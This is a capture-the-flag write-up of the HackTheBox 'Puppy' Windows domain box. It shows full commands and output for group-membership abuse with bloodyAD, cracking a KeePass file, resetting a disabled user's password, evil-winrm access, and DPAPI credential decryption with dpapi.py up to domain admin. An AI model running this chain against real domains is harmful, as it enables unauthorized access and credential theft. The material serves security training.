by 0xW1LD
As is common in real life pentests, you will start the Puppy box with credentials for the following account: levi.james
/ KingofAkron2025!
As usual let’s start with an nmap scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PORT STATE SERVICE
53/tcp open domain
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49685/tcp open unknown
49715/tcp open unknown
57254/tcp open unknown
Let’s start of by gathering bloodhound data.
1
2
3
4
5
6
nxc ldap puppy.htb -u levi.james -p KingofAkron2025! --bloodhound -c all --dns-server $TARGET
LDAP 10.129.243.113 389 DC [*] Windows Server 2022 Build 20348 (name:DC) (domain:PUPPY.HTB)
LDAP 10.129.243.113 389 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
LDAP 10.129.243.113 389 DC Resolved collection methods: session, dcom, rdp, trusts, acl, container, objectprops, localadmin, group, psremote
LDAP 10.129.243.113 389 DC Done in 00M 32S
LDAP 10.129.243.113 389 DC Compressing output into /root/.nxc/logs/DC_10.129.243.113_2025-05-18_050640_bloodhound.zip
Looks like levi.hames
is part of HR
which has GenericWrite
over Developers
.
We see three users in the Developer
group.
So let’s Add
ourselves to Developers
.
1
2
bloodyAD --host puppy.htb -d puppy.htb -u levi.james -p KingofAkron2025! add groupMember 'Developers' levi.james
[+] levi.james added to Developers
Looking around we see that we now have access over the Developer
share in SMB
.
1
2
3
4
5
6
7
8
9
10
11
12
nxc smb puppy.htb -u levi.james -p KingofAkron2025! --shares
SMB 10.129.243.113 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.243.113 445 DC [+] PUPPY.HTB\levi.james:KingofAkron2025!
SMB 10.129.243.113 445 DC [*] Enumerated shares
SMB 10.129.243.113 445 DC Share Permissions Remark
SMB 10.129.243.113 445 DC ----- ----------- ------
SMB 10.129.243.113 445 DC ADMIN$ Remote Admin
SMB 10.129.243.113 445 DC C$ Default share
SMB 10.129.243.113 445 DC DEV READ DEV-SHARE for PUPPY-DEVS
SMB 10.129.243.113 445 DC IPC$ READ Remote IPC
SMB 10.129.243.113 445 DC NETLOGON READ Logon server share
SMB 10.129.243.113 445 DC SYSVOL READ Logon server share
The DEV
share contains a keypass
database file.
1
2
3
4
5
6
smb: \> ls
. DR 0 Sun Mar 23 18:07:57 2025
.. D 0 Sun Mar 9 03:52:57 2025
KeePassXC-2.7.9-Win64.msi A 34394112 Sun Mar 23 18:09:12 2025
Projects D 0 Sun Mar 9 03:53:36 2025
recovery.kdbx A 2677 Wed Mar 12 13:25:46 2025
Let’s download the recover.kdbx
file.
1
2
smb: \> get recovery.kdbx
getting file \recovery.kdbx of size 2677 as recovery.kdbx (2.1 KiloBytes/sec) (average 2.1 KiloBytes/sec)
We can use keepass2john
to get the hash of the file.
1
2
keepass2john ../recovery.kdbx
recovery:$keepass$*4*37*ef636ddf*67108864*19*4*bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf2662853527714*d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb92441470*03d9a29a67fb4bb500000400021000000031c1f2e6bf714350be5805216afc5aff0304000000010000000420000000bf70d9925723ccf623575d62e4c4fb590a2b2b4323ac35892cf266285352771407100000000ab56ae17c5cebf440092907dac20a350b8b00000000014205000000245555494410000000ef636ddf8c29444b91f7a9a403e30a0c05010000004908000000250000000000000005010000004d080000000000000400000000040100000050040000000400000042010000005320000000d421b15d6c79e29ecb70c8e1c2e92b4b27dc8d9ae6d8107292057feb9244147004010000005604000000130000000000040000000d0a0d0a*31614848015626f2451cc4d07ce9a281a416c8e8c2ff8cc45c69ce1f4daef0e9
Brute forcing this using john
we get the following password: liverpool
1
2
3
4
5
6
7
8
9
10
11
12
13
14
john --wordlist=`fzf-wordlists` recovery.pem
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [AES/Argon2 128/128 SSE2])
Cost 1 (t (rounds)) is 37 for all loaded hashes
Cost 2 (m) is 65536 for all loaded hashes
Cost 3 (p) is 4 for all loaded hashes
Cost 4 (KDF [0=Argon2d 2=Argon2id 3=AES]) is 0 for all loaded hashes
Will run 16 OpenMP threads
Note: Passwords longer than 41 [worst case UTF-8] to 124 [ASCII] rejected
Press 'q' or Ctrl-C to abort, 'h' for help, almost any other key for status
liverpool (recovery)
1g 0:00:00:16 DONE (2025-05-18 13:34) 0.05967g/s 2.864p/s 2.864c/s 2.864C/s purple..1234567890
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Looking through the keepass
database with keepassxc
we find the following credentials:
jamie.williams
:JamieLove2025!
adam.silver
:HJKL2025!
ant.edwards
:Antman2025!
steve
: Steve2025!
samuel
:ILY2025!
If we try to evil-winrm
as Adam.Silver
who is part of the Remote Management
group we see an error.
1
2
3
4
5
6
7
8
9
evil-winrm -i puppy.htb -u adam.silver -p HJKL2025!
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
Error: An error of type WinRM::WinRMAuthorizationError happened, message is WinRM::WinRMAuthorizationError
Error: Exiting with code 1
This is likely due to his account being disabled, given that Ant.Edwards
has GenericAll
on Adam.Silver
.
We can remove the Account Disabled
flag.
1
2
bloodyAD --host puppy.htb -u ant.edwards -p 'Antman2025!' remove uac adam.silver -f ACCOUNTDISABLE
[-] ['ACCOUNTDISABLE'] property flags removed from adam.silver's userAccountControl
It still doesn’t work for me so let’s change his password.
1
2
bloodyAD --host dc.puppy.htb -u ant.edwards -p 'Antman2025!' set password adam.silver 'P@ssword!'
[+] Password changed successfully!
Success!
1
2
3
4
5
6
evil-winrm -i dc.puppy.htb -u adam.silver -p 'P@ssword!'
Evil-WinRM shell v3.7
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\adam.silver\Documents>
Just like that we have User!
Looking around we can find a Backups
Folder
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
*Evil-WinRM* PS C:\> dir
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
Within it there’s a site-backup
zip file.
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Backups> ls
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
Let’s download it and take a look.
1
2
3
4
5
6
7
8
ls -la
total 12
drwxr-xr-x 1 root root 4096 Dec 31 1979 .
drwxrwx--- 1 root root 4096 May 18 05:58 ..
drwxrwxr-x 1 root root 4096 Dec 31 1979 assets
drwxrwxr-x 1 root root 4096 Dec 31 1979 images
-rw-rw-r-- 1 root root 7258 Dec 31 1979 index.html
-rw-r--r-- 1 root root 864 Dec 31 1979 nms-auth-config.xml.bak
The nms-auth-config.xml.bak
file looks interesting, if we take a look inside we find steph.cooper
’s password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
cat nms-auth-config.xml.bak
<?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
Let’s WinRM using steph.cooper
’s credentials, looking around we can find Microsoft Edge.lnk
on the Desktop
.
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\Desktop> ls
Directory: C:\Users\steph.cooper\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 7:40 AM 2312 Microsoft Edge.lnk
Which would indicate usage of Microsoft Edge
with a potentially saved password.
Usually such credentials are saved and protected by dpapi
, if we look around for where dpapi
saves credentials we can find the, hidden, credential file.
1
2
3
4
5
6
7
8
9
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> ls -Force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Let’s convert the file to base64
so we can transfer it over to our local machine.
1
2
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials> [System.Convert]::ToBase64String((Get-Content C8D69EBE9A43E9DEBF6B5FBD48B521B9 -Encoding byte))
AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc
Decode it and write it on our machine.
1
2
echo 'AQAAAJIBAAAAAAAAAQAAANCMnd8BFdERjHoAwE/Cl+sBAAAAEiRqVXUSz0y3IeagtPkEBwAAACA6AAAARQBuAHQAZQByAHAAcgBpAHMAZQAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAIABEAGEAdABhAA0ACgAAAANmAADAAAAAEAAAAHEb7RgOmv+9Na4Okf93s5UAAAAABIAAAKAAAAAQAAAACtD/ejPwVzLZOMdWJSHNcNAAAAAxXrMDYlY3P7k8AxWLBmmyKBrAVVGhfnfVrkzLQu2ABNeu0R62bEFJ0CdfcBONlj8Jg2mtcVXXWuYPSiVDse/sOudQSf3ZGmYhCz21A8c6JCGLjWuS78fQnyLW5RVLLzZp2+6gEcSU1EsxFdHCp9cT1fHIHl0cXbIvGtfUdeIcxPq/nN5PY8TR3T8i7rw1h5fEzlCX7IFzIu0avyGPnrIDNgButIkHWX+xjrzWKXGEiGrMkbgiRvfdwFxb/XrET9Op8oGxLkI6Mr8QmFZbjS41FAAAADqxkFzw7vbQSYX1LftJiaf2waSc' | base64 -d
> C8D69EBE9A43E9DEBF6B5FBD48B521B9
This credential file is useless right now since it’s protected, we can unencrypt it using the key
which we can find, hidden, in the Protect
directory.
1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> dir -Force
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
-a-hs- 2/23/2025 2:36 PM 24 Preferred
Let’s transfer this over using the same base64 encode and decode method used earlier.
Now let’s use dpapi.py
to decrypt the masterkey.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dpapi.py masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password 'ChefSteph2025!'
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
And let’s now use this key to decrypt the credentials.
1
2
3
4
5
6
7
8
9
10
11
12
13
dpapi.py credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0+20250107.155526.3d734075 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
Let’s try to use this password on the steph.cooper_adm
account.
1
2
3
4
5
nxc smb dc.puppy.htb -u steph.cooper_adm -p 'FivethChipOnItsWay2025!' -x 'type C:\Users\Administrator\Desktop\root.txt'
SMB 10.129.238.85 445 DC [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:PUPPY.HTB) (signing:True) (SMBv1:False)
SMB 10.129.238.85 445 DC [+] PUPPY.HTB\steph.cooper_adm:FivethChipOnItsWay2025! (admin)
SMB 10.129.238.85 445 DC [+] Executed command via wmiexec
SMB 10.129.238.85 445 DC b46e3c818cf746fc0eeb975da3a77572
Just like that we have Root!
tags: os/windows - diff/medium